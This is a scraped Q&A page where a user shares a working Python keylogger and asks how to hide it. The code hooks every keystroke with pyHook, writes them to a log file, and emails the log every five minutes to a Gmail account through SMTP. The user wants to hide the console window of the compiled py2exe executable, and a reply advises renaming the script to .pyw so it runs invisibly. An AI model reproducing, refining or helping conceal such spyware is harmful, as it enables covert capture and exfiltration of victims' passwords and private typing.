简体   繁体   中英

Need help for my keylogger program python

I'm new to Python. I'm writing a key-logger program.

I wrote this:

 #!/usr/bin/python import pythoncom , pyHook , time, smtplib LOG = open("C:\\LOG.txt", "a") LOG.write("") LOG.close() _time = time.strftime(" %A, %d, %B, %Y, %H : %M ") _time1 = _time num_lines =sum(1 for line in open('C:\\LOG.txt')) if num_lines > 45 : LOG = open("C:\\LOG.txt", "w") LOG.truncate() LOG.close() LOG = open("C:\\LOG.txt", "a") LOG.write("\\n>>>============================ Start KeyLogger [%s] ============================<<<\\n"%(_time)) LOG.close() timer = time.time() mtxt = "" def OnKeyboardEvent(event) : global _time1 global timer c = time.strftime(" %A, %d, %B, %Y, %H : %M ") timer2 = time.time() if timer2 >= timer+300.0 : LOG = open("C:\\LOG.txt","r") TXT = LOG.readlines() i = 0 while i < len(TXT) : global mtxt global txt txt = TXT[i] i += 1 mtxt += txt server = smtplib.SMTP("smtp.gmail.com:25") server.starttls() server.login("myemail@gmail.com", "password") server.sendmail("myemail@gmail.com", "myemail@gmail.com", mtxt) server.quit() LOG.close() timer = timer2 if _time1 == c : LOG = open("C:\\LOG.txt", "a") LOG.write(chr(event.Ascii)) LOG.close() elif _time1 != c : LOG = open("C:\\LOG.txt", "a") LOG.write("\\n[%s]\\n"% (c)) LOG.close() _time1 = c hm = pyHook.HookManager() hm.KeyDown = OnKeyboardEvent hm.HookKeyboard() pythoncom.PumpMessages() 

I know that is very messy... but I'm still working on it and I tried to don't look at other key loggers...

It working fine and every five minute it sends me an email with the keys... But I tried to compile it with py2exe and when i start the keylogger.exe it opens a prompt window... It is working fine but there is the window. I want to hide that window or change the program into a process, but I don't know how...

i think all you all you have to do is to change the extension on the python script from .py to .pyw before using py2exe to convert the python file into an executable. Hope it helps.

Why does my program work with a .py extension but not with a .pyw extension?

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM